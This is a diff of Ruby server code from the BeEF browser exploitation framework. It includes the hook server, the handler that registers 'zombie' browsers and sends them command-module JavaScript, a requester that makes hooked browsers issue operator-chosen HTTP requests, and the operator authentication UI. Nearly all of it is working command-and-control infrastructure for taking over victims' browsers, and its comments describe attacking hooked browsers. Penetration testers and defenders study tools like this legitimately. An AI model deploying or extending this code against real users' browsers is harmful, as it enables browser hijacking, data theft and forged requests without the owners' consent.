# all the checks passed and this module targets the user agent
VERIFIED_WORKING
end
# Store the browser detail in the database.
def set_browser_detail(key, value)
raise WEBrick::HTTPStatus::BadRequest, "@session_id is invalid" if not BeEF::Filter.is_valid_hook_session_id?(@session_id)
BD.set(@session_id, key, value)
end
# Get the browser detail from the database.
def get_browser_detail(key)
raise WEBrick::HTTPStatus::BadRequest, "@session_id is invalid" if not BeEF::Filter.is_valid_hook_session_id?(@session_id)
BD.get(@session_id, key)
end
# Tells the framework that the command module will be using a template file.
def use_template!;
tpl = @info['File'].sub(/.rb$/, '.js')
@template = tpl if File.exists? tpl
@use_template = true;
end
# Returns true if the command uses a template. False if not.
def use_template?; @use_template; end
# Returns the output of the command. These are the actual instructions sent to the browser.
def output
if use_template? # and @template
raise WEBrick::HTTPStatus::BadRequest, "@template is nil" if @template.nil?
raise WEBrick::HTTPStatus::BadRequest, "@template file does not exist" if not File.exists? @template
@eruby = Erubis::FastEruby.new(File.read(@template))
if @datastore
@datastore['command_url'] = BeEF::HttpHookServer.instance.get_command_url(@default_command_url)
@datastore['command_id'] = @command_id
command_context = BeEF::CommandContext.new
@datastore.each{|k,v|
command_context[k] = v
}
@output = @eruby.evaluate(command_context)
else
@ouput = @eruby.result()
end
end
@output
end
# Returns the results for the zombie.
def get_results
return '' if @results.length.eql? 0
@results.to_json
end
# Saves the results received from the zombie.
def save(results);
@results = results;
end
# Tells the framework to load a specific module of the BeEFJS library that
# the command will be using.
#
# use 'beef.net.local'
# use 'beef.encode.base64'
#
def use(component)
component_path = component
component_path.gsub!(/beef./, '')
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/modules/beefjs/#{component_path}.js"
return if beefjs_components.include? component
raise "Invalid beefjs component for command module #{@path}" if not File.exists?(component_path)
@beefjs_components[component] = component_path
end
private
@use_template
@eruby
@update_zombie
@results
end
end

View File

@@ -0,0 +1,23 @@
# The following file contains patches for WEBrick.
module WEBrick
class Cookie
attr_accessor :httponly
def to_s
ret = ""
ret << @name << "=" << @value
ret << "; " << "Version=" << @version.to_s if @version > 0
ret << "; " << "Domain=" << @domain if @domain
ret << "; " << "Expires=" << @expires if @expires
ret << "; " << "Max-Age=" << @max_age.to_s if @max_age
ret << "; " << "Comment=" << @comment if @comment
ret << "; " << "Path=" << @path if @path
ret << "; " << "Secure" if @secure
ret << "; " << "HttpOnly" if @httponly
ret
end
end
end

View File

@@ -0,0 +1,15 @@
# The following file contains patches for WEBrick.
module WEBrick
class HTTPServer < ::WEBrick::GenericServer
# I'm patching WEBrick so it does not log http requests anymore.
# The reason being that it seems to considerably slow down BeEF which receives
# numerous requests simultaneously. Additionally, it was also found to crash
# the thread when not being able to write to the log file (which happened when
# overloaded).
def access_log(config, req, res); return; end
end
end

View File

@@ -0,0 +1,77 @@
# The following file contains patches for WEBrick.
module WEBrick
class HTTPRequest
# I'm patching the HTTPRequest class so that it when it receives POST
# http requests, it parses the query present in the body even if the
# content type is not set.
#
# The reason for this patch is that when a zombie sends back data to
# BeEF, that data was not parsed because by default the content-type
# was not set directly. I prefer patching WEBrick rather than editing
# the BeEFJS library because cross domain http requests would be harder
# to implement at the server level.
#
# Note: this function would need to be modified if we ever needed to
# use multipart POST requests.
def parse_query()
begin
if @request_method == "GET" || @request_method == "HEAD"
@query = HTTPUtils::parse_query(@query_string)
elsif @request_method == 'POST' || self['content-type'] =~ /^application\/x-www-form-urlencoded/
@query = HTTPUtils::parse_query(body)
elsif self['content-type'] =~ /^multipart\/form-data; boundary=(.+)/
boundary = HTTPUtils::dequote($1)
@query = HTTPUtils::parse_form_data(body, boundary)
else
@query = Hash.new
end
rescue => ex
raise HTTPStatus::BadRequest, ex.message
end
end
def get_cookie_value(name)
return nil if name.nil?
@cookies.each{|cookie|
c = WEBrick::Cookie.parse_set_cookie(cookie.to_s)
return c.value if (c.name.to_s.eql? name)
}
nil
end
def get_referer_domain
referer = header['referer'][0]
if referer =~ /\:\/\/([0-9a-zA-A\.]*(\:[0-9]+)?)\//
return $1
end
nil
end
def get_hook_session_value()
config = BeEF::Configuration.instance
hook_session_name = config.get('hook_session_name')
@query[hook_session_name] || nil
end
# return the command module command_id value from the request
def get_command_id()
@query['command_id'] || nil
end
end
end

View File

@@ -0,0 +1,75 @@
# The following file contains patches for WEBrick.
module WEBrick
class HTTPResponse
#
# set caching headers none
#
def set_no_cache()
@header['ETag'] = nil
@header['Last-Modified'] = Time.now + 100**4
@header['Expires'] = Time.now - 100**4
@header['Cache-Control'] = 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0'
@header['Pragma'] = 'no-cache'
end
#
# set the cookie in the response
# Limit: only one set-cookie will be within the response
#
def set_cookie(name, value, path = '/', httponly = true, secure = true)
cookie = WEBrick::Cookie.new(name, value)
cookie.path = path
cookie.httponly = httponly
cookie.secure = secure
# add cookie to response header
@header['Set-Cookie'] = cookie.to_s
end
#
# This patch should prevent leakage of directory listing, access
# auth errors, etc.
#
def set_error(ex, backtrace=false)
# set repsonse headers
@status = 404;
@header['content-type'] = "text/html; charset=UTF-8"
# set response content
@body = ''
@body << <<-_end_of_html_
<HTML>
<HEAD>
<TITLE>No page for you!</TITLE>
<STYLE type="text/css">
BODY { font: 8pt/12pt verdana }
H1 { font: 13pt/15pt verdana }
H2 { font: 8pt/12pt verdana }
A:link { color: black; text-decoration: none }
A:visited { color: black; text-decoration: none }
</STYLE>
</HEAD><BODY>
<TABLE width=500 border=0 cellspacing=10>
<TR>
<TD>
<h1><a href="http://www.bindshell.net/tools/beef/">These aren't the pages you're looking for</a></h1>
</TD>
</TR>
</TABLE>
</BODY>
</HTML>
_end_of_html_
end
end
end

View File

@@ -0,0 +1,32 @@
# The following file contains patches for WEBrick.
module WEBrick
module HTTPServlet
class FileHandler
# prevent directory traversal attacks
def prevent_directory_traversal(req, res)
raise WEBrick::HTTPStatus::BadRequest, "null character in path" if has_null?(req.path_info)
if trailing_pathsep?(req.path_info)
expanded = File.expand_path(req.path_info + "x")
expanded.chop! # remove trailing "x"
else
expanded = File.expand_path(req.path_info)
end
req.path_info = expanded
end
# checks if a string contains null characters
def has_null? (str)
str.split(//).each {|c|
return true if c.eql?("\000")
}
false
end
end
end
end

View File

@@ -0,0 +1,61 @@
module BeEF
class CommandHandler < WEBrick::HTTPServlet::AbstractServlet
include BeEF::Server::Modules::Common
attr_reader :guard
def initialize(config, kclass)
@guard = Mutex.new
@kclass = BeEF::Modules::Commands.const_get(kclass.capitalize)
end
def do_POST(request, response)
@body = ''
@request = request
@response = response
@http_params = @request.query # used to populate datastore
@http_header = @request.header # used to populate datastore
@http_header['referer'] ||= '' # used to populate datastore
# get and check command id from the request
command_id = @request.get_command_id()
raise WEBrick::HTTPStatus::BadRequest, "command_id is invalid" if not BeEF::Filter.is_valid_commmamd_id?(command_id)
# get and check session id from the request
hook_session_id = request.get_hook_session_value()
raise WEBrick::HTTPStatus::BadRequest, "hook_session_id is invalid" if not BeEF::Filter.is_valid_hook_session_id?(hook_session_id)
@guard.synchronize {
# create the command module to handle the response
command = @kclass.new # create the commamd module
command.build_callback_datastore(@http_params, @http_header) # build datastore from the response
command.session_id = hook_session_id
command.callback # call the command module's callback function - it will parse and save the results
# get/set details for datastore and log entry
command_friendly_name = command.friendlyname
raise WEBrick::HTTPStatus::BadRequest, "command friendly name empty" if command_friendly_name.empty?
command_results = command.get_results()
raise WEBrick::HTTPStatus::BadRequest, "command results empty" if command_results.empty?
# save the command module results to the datastore and create a log entry
BeEF::Models::Command.save_result(hook_session_id, command_id, command_friendly_name, command_results)
}
response.set_no_cache
response.header['Content-Type'] = 'text/javascript'
response.header['Access-Control-Allow-Origin'] = '*'
response.header['Access-Control-Allow-Methods'] = 'POST'
response.body = @body
end
private
@request
@response
end
end

View File

@@ -0,0 +1,118 @@
require 'erubis'
module BeEF
#
#
#
class HttpController
attr_accessor :headers, :status, :body, :paths, :currentuser, :params
C = BeEF::Models::Command
E = BeEF::Models::CommandModule
Z = BeEF::Models::Zombie
#
# Class constructor. Takes data from the child class and populates
# itself with it.
#
def initialize(data = {})
@erubis = nil
@status = 200 if data['status'].nil?
@headers = {'Content-Type' => 'text/html; charset=UTF-8'} if data['headers'].nil?
if data['paths'].nil? and self.methods.include? "index"
@paths = {'index' => '/'}
else
@paths = data['paths']
end
end
#
#
#
def run(request, response)
@request = request
@params = request.query
@session = BeEF::UI::Session.instance
auth_url = '/ui/authentication'
# test if session is unauth'd and whether the auth functionality is requested
if not @session.valid_session?(@request) and not self.class.eql?(BeEF::UI::Authentication)
# request is unauthenicated so redirect to auth page
@body = page_redirect(auth_url)
return
end
# search for matching path and get the function to call
function = get_path_function(request.path_info)
raise WEBrick::HTTPStatus::BadRequest, "path does not exist" if function.nil?
eval "self.#{function}"
# use template
class_s = self.class.to_s.sub('BeEF::UI::', '').downcase
template_ui = "#{$root_dir}/lib/ui/#{class_s}/#{function}.html"
@eruby = Erubis::FastEruby.new(File.read(template_ui)) if File.exists? template_ui
template_module = "#{$root_dir}/modules/plugins/#{class_s}/#{function}.html"
@eruby = Erubis::FastEruby.new(File.read(template_module)) if File.exists? template_module
@body = @eruby.result(binding()) if not @eruby.nil?
if @headers['Content-Type'].nil?
@headers['Content-Type']='text/html; charset=UTF-8' # default content and charset type for all pages
@headers['Content-Type']='application/json; charset=UTF-8' if request.path =~ /.json$/
end
end
#
# get the function mapped to path_info
#
def get_path_function(path_info)
return nil if @paths.nil?
# search the paths
@paths.each{ |function, path|
return function if path.eql? path_info
return function if path.eql? path_info + '/'
}
nil
end
# Forges a redirect page
def page_redirect(location) "<html><head></head><body>" + script_redirect(location) + "</body>" end
# Forges a redirect script
def script_redirect(location) "<script> document.location=\"#{location}\"</script>" end
# Forges a html script tag
def script_tag(filename) "<script src=\"#{$url}/ui/public/javascript/#{filename}\" type=\"text/javascript\"></script>" end
# Forges a html stylesheet tag
def stylesheet_tag(filename) "<link rel=\"stylesheet\" href=\"#{$url}/ui/public/css/#{filename}\" type=\"text/css\" />" end
# Forges a hidden html nonce tag
def nonce_tag
@session = BeEF::UI::Session.instance
"<input type=\"hidden\" name=\"nonce\" id=\"nonce\" value=\"" + @session.get_nonce + "\"/>"
end
private
@eruby
# Unescapes a URL-encoded string.
def unescape(s); s.tr('+', ' ').gsub(/%([\da-f]{2})/in){[$1].pack('H*')} end
end
end

38
lib/server/httphandler.rb Normal file
View File

@@ -0,0 +1,38 @@
module BeEF
class HttpHandler < WEBrick::HTTPServlet::AbstractServlet
attr_reader :guard
#
#
#
def initialize(config, klass)
super
@guard = Mutex.new
@klass = BeEF::UI.const_get(klass.to_s.capitalize)
end
def do_GET(request, response)
@request = request
@response = response
controller = nil
@guard.synchronize {
controller = @klass.new
controller.run(@request, @response)
}
response.header.replace(controller.headers)
response.body = controller.body.to_s
end
private
@request
@response
alias do_POST do_GET
end
end

View File

@@ -0,0 +1,121 @@
module BeEF
#
# Class defining the BeEF http server.
#
class HttpHookServer
# call BeEF::Server.instance
include Singleton
VERSION = BeEF::Configuration.instance.get('beef_version')
attr_reader :root_dir, :url, :configuration, :command_urls
def initialize
@configuration = BeEF::Configuration.instance
@url = "http://#{@configuration.get("http_host")}:#{@configuration.get("http_port")}"
@root_dir = File.expand_path('../../../', __FILE__)
@command_urls = {}
end
#
# Returns all server variables in a hash. Useful for Erubis when
# generating the javascript for the command modules and hooking.
#
def to_h
{
'beef_version' => VERSION,
'beef_url' => @url,
'beef_root_dir' => @root_dir,
'beef_host' => BeEF::Configuration.instance.get('http_host'),
'beef_port' => BeEF::Configuration.instance.get('http_port'),
'beef_dns' => BeEF::Configuration.instance.get('http_dns'),
'beef_hook' => BeEF::Configuration.instance.get('hook_file')
}
end
#
#
#
def register_command_url(command_path, uri)
end
#
#
#
def get_command_url(command_path)
if not @command_urls[command_path].nil? then return @command_urls[command_path]; else return command_path; end
end
#
# Starts the BeEF http server.
#
def start
if not @http_server
config = {}
config[:BindAddress] = @configuration.get('http_host')
config[:Port] = @configuration.get('http_port')
config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR)
config[:ServerName] = "BeEF " + VERSION
config[:ServerSoftware] = "BeEF " + VERSION
@http_server = WEBrick::HTTPServer.new(config)
# registers the ui pages
Dir["#{$root_dir}/lib/ui/**/*.rb"].each { |http_module|
require http_module
mod_name = File.basename http_module, '.rb'
@http_server.mount "/ui/#{mod_name}", BeEF::HttpHandler, mod_name
}
# registers the command module pages
Dir["#{root_dir}/modules/commands/**/*.rb"].each { |command|
command_class = (File.basename command, '.rb').capitalize
command_file = (File.basename command, '.rb')+'.js'
#TODO: implement URL obfuscation at start up.
@http_server.mount "/command/#{command_file}", BeEF::CommandHandler, command_class
}
# registers the hook page
@http_server.mount "#{@configuration.get("hook_file")}", BeEF::ZombieHandler
# registers the requester page
@http_server.mount '/requester', BeEF::RequesterHandler
# registers the init page
@http_server.mount '/init', BeEF::InitHandler
@http_server.mount '/ui/public', BeEF::PublicHandler, "#{root_dir}/public"
@http_server.mount '/favicon.ico', WEBrick::HTTPServlet::FileHandler, "#{root_dir}#{@configuration.get("favicon_dir")}/#{@configuration.get("favicon_file_name")}"
@http_server.mount '/demos/', WEBrick::HTTPServlet::FileHandler, "#{root_dir}/demos/"
trap("INT") { BeEF::HttpHookServer.instance.stop }
@http_server.start
end
end
#
# Stops the BeEF http server.
#
def stop;
if @http_server
@http_server.shutdown
puts ' --[ BeEF server stopped'
end
end
#
# Restarts the BeEF http server.
#
def restart; stop; start; end
private
@http_server
end
end

60
lib/server/inithandler.rb Normal file
View File

@@ -0,0 +1,60 @@
module BeEF
#
# The http handler that manages the return of the initial browser details.
#
class InitHandler < WEBrick::HTTPServlet::AbstractServlet
attr_reader :guard
HB = BeEF::Models::Zombie
BD = BeEF::Models::BrowserDetails
#
# Class constructor
#
def initialize(config)
# we set up a mutex
@guard = Mutex.new
end
#
# This function receives any POST http requests. We only
# allow the hooked browser to send back results using POST.
#
def do_POST(request, response)
# validate hook session value
session_id = request.query['BEEFHOOK'] || nil
raise WEBrick::HTTPStatus::BadRequest, "session_id is nil" if session_id.nil?
hooked_browser = HB.first(:session => session_id, :has_init => false)
raise WEBrick::HTTPStatus::BadRequest, "Invalid beef session id: the hooked browser cannot be found in the database" if hooked_browser.nil?
request.query.keys.each{|key|
next if key.eql? "command_id" or key.eql? "BEEFHOOK" # ignore these params
# keys and values from the request
raise WEBrick::HTTPStatus::BadRequest, "Invalid init key" if Filter.has_non_printable_char?(key)
b64_param = request.query[key]
raise WEBrick::HTTPStatus::BadRequest, "Invalid init base64 value" if Filter.has_non_printable_char?(b64_param)
escaped_param = CGI.unescapeHTML(b64_param)
raise WEBrick::HTTPStatus::BadRequest, "Invalid init escaped value" if Filter.has_non_printable_char?(escaped_param)
param = Base64.decode64(escaped_param)
raise WEBrick::HTTPStatus::BadRequest, "Invalid init value" if Filter.has_non_printable_char?(param)
# store the returned browser details
BD.set(session_id, key, param)
}
# init details have been returned so set flag and save
hooked_browser.has_init = true
@guard.synchronize {
hooked_browser.save
}
response.body = ''
end
end
end

View File

@@ -0,0 +1,127 @@
module BeEF
module Server
module Modules
#
# Purpose: avoid rewriting several times the same code.
#
module Common
#
# Builds the default beefjs library (all default components of the library).
#
# @param: {Object} the hook session id
# @param: {Boolean} if the framework is already loaded in the hooked browser
#
def build_beefjs!(hook_session_id, framework_loaded = false)
# set up values required to construct beefjs
beefjs = '' # init the beefjs string (to be sent as the beefjs file)
beefjs_path = "#{$root_dir}/modules/beefjs/" # location of sub files
js_sub_files = %w(beef.js browser.js browser/cookie.js dom.js net.js updater.js encode/base64.js init.js)
# construct the beefjs string from file(s)
js_sub_files.each {|js_sub_file_name|
js_sub_file_abs_path = beefjs_path + js_sub_file_name # construct absolute path
beefjs << (File.read(js_sub_file_abs_path) + "\n\n") # concat each js sub file
}
# create the config for the hooked browser session
config = BeEF::Configuration.instance
hook_session_name = config.get('hook_session_name')
hook_session_config = BeEF::HttpHookServer.instance.to_h
hook_session_config['beef_hook_session_name'] = hook_session_name
hook_session_config['beef_hook_session_id'] = hook_session_id
# populate place holders in the beefjs string and set the response body
eruby = Erubis::FastEruby.new(beefjs)
@body << eruby.evaluate(hook_session_config)
end
#
# Builds missing beefjs components.
#
# Ex: build_missing_beefjs_components(['beef.net.local', 'beef.net.requester'])
#
def build_missing_beefjs_components(beefjs_components)
# if the component is of type String, we convert it to an array
beefjs_components = [beefjs_components] if beefjs_components.is_a? String
# verifies that @beef_js_cmps is not nil to avoid bugs
@beef_js_cmps = '' if @beef_js_cmps.nil?
beefjs_components.each {|c|
next if @beef_js_cmps.include? c
# we generate the component's file path
component_path = c
component_path.gsub!(/beef./, '')
component_path.gsub!(/\./, '/')
component_path.replace "#{$root_dir}/modules/beefjs/#{component_path}.js"
# exception in case the component cannot be found
raise "Could not build the BeEF JS component: file does not exists" if not File.exists?(component_path)
# we output the component to the hooked browser
@body << File.read(component_path)+"\n\n"
# finally we add the component to the list of components already generated so it does not
# get generated numerous times.
@beef_js_cmps += ",#{component_path}"
}
end
#
# Adds the command module instructions to the http response.
#
def add_command_instructions(command, zombie)
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil?
raise WEBrick::HTTPStatus::BadRequest, "zombie.session is nil" if zombie.session.nil?
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if command.nil?
raise WEBrick::HTTPStatus::BadRequest, "zombie.session is nil" if command.command_module_id.nil?
# get the command module
command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id)
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
raise WEBrick::HTTPStatus::BadRequest, "command_module.path is nil" if command_module.path.nil?
klass = File.basename command_module.path, '.rb'
@guard.synchronize {
command_module = BeEF::Modules::Commands.const_get(klass.capitalize).new
command_module.command_id = command.id
command_module.session_id = zombie.session
command_module.build_datastore(command.data)
command_module.pre_send
if not @beef_js_cmps.nil? and not command_module.beefjs_components.empty?
command_module.beefjs_components.keys.each{|component|
next if @beef_js_cmps.include? component
#TODO: code that part so it uses the function build_missing_beefjs_components()
@body << File.read(command_module.beefjs_components[component])+"\n\n"
@beef_js_cmps += ",#{component}"
}
end
@body << command_module.output + "\n\n"
puts "+ Hooked browser #{zombie.ip} sent command module #{klass}" if @cmd_opts[:verbose]
}
end
#
# Executes every plugins in the framework.
#
def execute_plugins!
#TODO
end
end
end
end
end

View File

@@ -0,0 +1,94 @@
module BeEF
module Server
module Modules
#
# Module containing all the functions to run the Requester.
#
# That module is dependent on 'Common'. Hence to use it,
# your code also needs to include that module.
#
module Requester
#
# Runs the Requester
#
def requester_run(zombie)
# we generate all the requests and output them to the hooked browser
output = []
BeEF::Models::Http.all(:zombie_id => zombie.id, :has_ran => false).each {|h|
output << requester_parse_db_request(h)
}
# we stop here of our output in empty, that means they aren't any requests to send
return if output.empty?
# we build the beefjs requester component
build_missing_beefjs_components 'beef.net.requester'
# we send the command to perform the requests to the hooked browser
@body << %Q{
beef.execute(function() {
beef.net.requester.send(
#{output.to_json}
);
});
}
end
#
# Converts a HTTP DB Object into a BeEF JS command that
# can be executed by the hooked browser.
#
def requester_parse_db_request(http_db_object)
req = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)
params = nil
begin
s = StringIO.new http_db_object.request
req.parse(s)
rescue Exception => e
# if an exception is caught, we display it in the console but do not
# stong beef from executing. That is because we do not want to stop
# attacking the hooked browser because of a malformed request.
puts e.message
puts e.backtrace
return
end
# Handling post requests
if not req['content-length'].nil? and req.content_length > 0
params = []
# if the content length is invalid, webrick crashes. Hence we try to catch any exception
# here and continue execution.
begin
req.query.keys.each{|k| params << "#{k}=#{req.query[k]}"}
params = params.join '&'
rescue Exception => e
puts e.message
puts e.backtrace
return
end
end
# creating the request object
http_request_object = {
'id' => http_db_object.id,
'method' => req.request_method,
'host' => req.host,
'port' => req.port,
'params' => params,
'uri' => req.unparsed_uri,
'headers' => {}
}
req.header.keys.each{|key| http_request_object['headers'][key] = req.header[key]}
http_request_object
end
end
end
end
end

View File

@@ -0,0 +1,21 @@
module BeEF
class PublicHandler < WEBrick::HTTPServlet::FileHandler
def do_GET(req, res)
super
# set content types
res.header['content-type']='text/html' # default content type for all pages
res.header['content-type']='text/javascript' if req.path =~ /.json$/
res.header['content-type']='text/javascript' if req.path =~ /.js$/
res.header['content-type']='text/css' if req.path =~ /.css$/
res.header['content-type']='image/png' if req.path =~ /.png$/
res.header['content-type']='image/gif' if req.path =~ /.gif$/
res.header['content-type']='text/xml' if req.path =~ /.xml$/
end
end
end

View File

@@ -0,0 +1,65 @@
module BeEF
#
# The http handler that manages the Requester.
#
class RequesterHandler < WEBrick::HTTPServlet::AbstractServlet
attr_reader :guard
H = BeEF::Models::Http
Z = BeEF::Models::Zombie
#
# Class constructor
#
def initialize(config)
# we set up a mutex
@guard = Mutex.new
end
#
# This function receives any POST http requests. We only
# allow the hooked browser to send back results using POST.
#
def do_POST(request, response)
# validates the hook token
beef_hook = request.query['BEEFHOOK'] || nil
raise WEBrick::HTTPStatus::BadRequest, "beef_hook is null" if beef_hook.nil?
# validates the request id
request_id = request.query['id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "request_id is null" if request_id.nil?
# validates that a hooked browser with the beef_hook token exists in the db
zombie_db = Z.first(:session => beef_hook) || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalide beef hook id: the hooked browser cannot be found in the database" if zombie_db.nil?
# validates that we have such a http request saved in the db
http_db = H.first(:id => request_id.to_i, :zombie_id => zombie_db.id) || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalid http_db: no such request found in the database" if http_db.nil?
# validates that the http request has not be ran before
raise WEBrick::HTTPStatus::BadRequest, "This http request has been saved before" if http_db.has_ran.eql? true
# validates the body
body = request.query['body'] || nil
raise WEBrick::HTTPStatus::BadRequest, "body is null" if body.nil?
@guard.synchronize {
# save the results in the database
http_db.response = body
http_db.has_ran = true
http_db.save
}
response.set_no_cache()
response.header['Content-Type'] = 'text/javascript'
response.header['Access-Control-Allow-Origin'] = '*'
response.header['Access-Control-Allow-Methods'] = 'POST'
response.body = ''
end
end
end

115
lib/server/zombiehandler.rb Normal file
View File

@@ -0,0 +1,115 @@
module BeEF
#
# This class handles connections from zombies to the framework.
#
class ZombieHandler < WEBrick::HTTPServlet::AbstractServlet
include BeEF::Server::Modules::Common
include BeEF::Server::Modules::Requester
attr_reader :guard
def initialize(config)
@guard = Mutex.new
@cmd_opts = BeEF::Console::CommandLine.parse
@session = BeEF::UI::Session.instance
end
#
# This method processes the http requests sent by a zombie to the framework.
# It will update the database to add or update the current zombie and deploy
# some command modules or plugins.
#
def do_GET(request, response)
@body = ''
@params = request.query
@request = request
@response = response
config = BeEF::Configuration.instance
# check source ip address of browser
permitted_hooking_subnet = config.get('permitted_hooking_subnet')
target_network = IPAddr.new(permitted_hooking_subnet)
if not target_network.include?(request.peeraddr[3].to_s)
BeEF::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{request.peeraddr[3]}) rejected.")
@response.set_error(nil)
return
end
# get zombie if already hooked the framework
hook_session_value = request.get_hook_session_value()
zombie = BeEF::Models::Zombie.first(:session => hook_session_value) if not hook_session_value.nil?
if not zombie # is a new browser so set up the hook
# create the session id used to maintain the hooked session
hook_session_value = BeEF::Crypto::secure_token
# create the structure repesenting the hooked browser
zombie = BeEF::Models::Zombie.new(:ip => request.peeraddr[3], :session => hook_session_value)
zombie.domain = request.get_referer_domain
zombie.firstseen = Time.new.to_i
zombie.has_init = false # set to true (in inithandler.rb) when the init values returned
zombie.httpheaders = request.header.to_json
zombie.save # the save needs to be conducted before any hooked browser specific logging
# add a log entry for the newly hooked browser
log_zombie_domain = zombie.domain
log_zombie_domain = "(blank)" if log_zombie_domain.nil? or log_zombie_domain.empty?
BeEF::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}", "#{zombie.id}")
# check if the framework is already loaded in the browser - this check is based on the existance of the beef_js_cmp param
# for example, when the db is reset and a hooked browser (with the framework loaded) will reconnect
@beef_js_cmps = request.query['beef_js_cmps'] || nil
framework_loaded = (not @beef_js_cmps.nil?)
# generate the instructions to hook the browser
build_beefjs!(hook_session_value, framework_loaded)
end
# record the last poll from the browser
zombie.lastseen = Time.new.to_i
zombie.count!
zombie.save
execute_plugins!
# add all availible command module instructions to the response
zombie_commands = BeEF::Models::Command.all(:zombie_id => zombie.id, :has_run => false)
zombie_commands.each{|command| add_command_instructions(command, zombie)}
# add all availible autoloading command module instructions to the response
autoloadings = BeEF::Models::Command.all(:autoloadings => { :in_use => true })
autoloadings.each {|command| add_command_instructions(command, zombie)}
# executes the requester
requester_run(zombie)
# set response headers and body
response.set_no_cache
response.header['Content-Type'] = 'text/javascript'
response.header['Access-Control-Allow-Origin'] = '*'
response.header['Access-Control-Allow-Methods'] = 'POST, GET'
response.body = @body
end
alias do_POST do_GET
private
# Object representing the HTTP request
@request
# Object representing the HTTP response
@response
# A string containing the list of BeEF components active in the hooked browser
@beef_js_cmps
end
end

View File

@@ -0,0 +1,137 @@
module BeEF
module UI
#
# The authentication web page for BeEF.
#
class Authentication < BeEF::HttpController
#
# Constructor
#
def initialize
super({
'paths' => {
'index' => '/',
'login' => '/login',
'logout' => '/logout'
}
})
@session = BeEF::UI::Session.instance
end
# Function managing the index web page
def index
@headers['Content-Type']='text/html; charset=UTF-8'
end
#
# Function managing the login
#
def login
username = @params['username-cfrm'] || ''
password = @params['password-cfrm'] || ''
config = BeEF::Configuration.instance
@headers['Content-Type']='application/json; charset=UTF-8'
ua_ip = @request.peeraddr[3] # get client ip address
@body = '{ success : false }' # attempt to fail closed
# check if source IP address is permited to authenticate
if not permited_source?(ua_ip)
BeEF::Logger.instance.register('Authentication', "IP source address (#{@request.peeraddr[3]}) attempted to authenticate but is not within permitted subnet.")
return
end
# check if under brute force attack
time = Time.new
if not timeout?(time)
@session.set_auth_timestamp(time)
return
end
# check username and password
if not (username.eql? config.get('ui_username') and password.eql? config.get('ui_password') )
BeEF::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has failed to authenticate in the application.")
return
end
# establish an authenticated session
# set up session and set it logged in
@session.set_logged_in(ua_ip)
# create session cookie
session_cookie_name = config.get('session_cookie_name') # get session cookie name
session_cookie = WEBrick::Cookie.new(session_cookie_name, @session.get_id)
session_cookie.path = '/'
session_cookie.httponly = true
# add session cookie to response header
@headers['Set-Cookie'] = session_cookie.to_s
# TODO add escape username and password submitted
BeEF::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has successfuly authenticated in the application.")
@body = "{ success : true }"
end
#
# Function managing the logout
#
def logout
# test if session is unauth'd
raise WEBrick::HTTPStatus::BadRequest, "invalid nonce" if not @session.valid_nonce?(@request)
raise WEBrick::HTTPStatus::BadRequest, "invalid session" if not @session.valid_session?(@request)
@headers['Content-Type']='application/json; charset=UTF-8'
# set the session to be log out
@session.set_logged_out
# clean up UA and expire the session cookie
config = BeEF::Configuration.instance
session_cookie_name = config.get('session_cookie_name') # get session cookie name
session_cookie = WEBrick::Cookie.new(session_cookie_name, "")
session_cookie.path = '/'
session_cookie.expires = Time.now
session_cookie.httponly = true
# add (expired) session cookie to response header
@headers['Set-Cookie'] = session_cookie.to_s
BeEF::Logger.instance.register('Authentication', "User with ip #{@request.addr} has successfuly logged out.")
@body = "{ success : true }"
end
#
# Check the UI browser source IP is within the permitted subnet
#
def permited_source?(ip)
# get permitted subnet
config = BeEF::Configuration.instance
permitted_ui_subnet = config.get('permitted_ui_subnet')
target_network = IPAddr.new(permitted_ui_subnet)
# test if ip within subnet
return target_network.include?(ip)
end
#
# Brute Force Mitigation
# Only one login request per login_fail_delay seconds
#
def timeout?(time)
config = BeEF::Configuration.instance
login_fail_delay = config.get('login_fail_delay') # get fail delay
# test if the last login attempt was less then login_fail_delay seconds
time - @session.get_auth_timestamp > login_fail_delay.to_i
end
end
end
end

View File

@@ -0,0 +1,36 @@
<html>
<head>
<title>BeEF Authentication</title>
<%= script_tag 'ext-base.js' %>
<%= script_tag 'ext-all.js' %>
<%= script_tag 'ui/authentication.js' %>
<%= stylesheet_tag 'ext-all.css' %>
<style>
#centered {
left:50%;
top:50%;
margin:-120px 0 0 -200px;
position:fixed;
}
</style>
<!--[if IE]>
<style>
#centered {
position:absolute;
top: 50%;
left: 50%;
margin-top: -120px;
margin-left: -200px;
}
</style>
<![endif]-->
</head>
<body bgcolor="#DEE7F6">
<div id="centered"></div>
</body>
</html>

85
lib/ui/logs/logs.rb Normal file
View File

@@ -0,0 +1,85 @@
module BeEF
module UI
class Logs < BeEF::HttpController
def initialize
super({
'paths' => {
'select_all_logs' => '/all.json',
'select_zombie_logs' => '/zombie.json'
}
})
end
# Selects logs in the database and returns them in a JSON format.
def select_all_logs
# get params
start = @params['start'].to_i || 0
limit = @params['limit'].to_i || 25
raise WEBrick::HTTPStatus::BadRequest, "start less than 0" if start < 0
raise WEBrick::HTTPStatus::BadRequest, "limit less than 1" if limit < 1
raise WEBrick::HTTPStatus::BadRequest, "limit less than or equal to start" if limit <= start
# get log
log = BeEF::Models::Log.all(:offset => start, :limit => limit, :order => [:date.desc])
raise WEBrick::HTTPStatus::BadRequest, "log is nil" if log.nil?
# format log
@body = logs2json(log)
end
# Selects the logs for a zombie
def select_zombie_logs
# get params
session = @params['session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "session is nil" if session.nil?
start = @params['start'].to_i || 0
limit = @params['limit'].to_i || 25
raise WEBrick::HTTPStatus::BadRequest, "start less than 0" if start < 0
raise WEBrick::HTTPStatus::BadRequest, "limit less than 1" if limit < 1
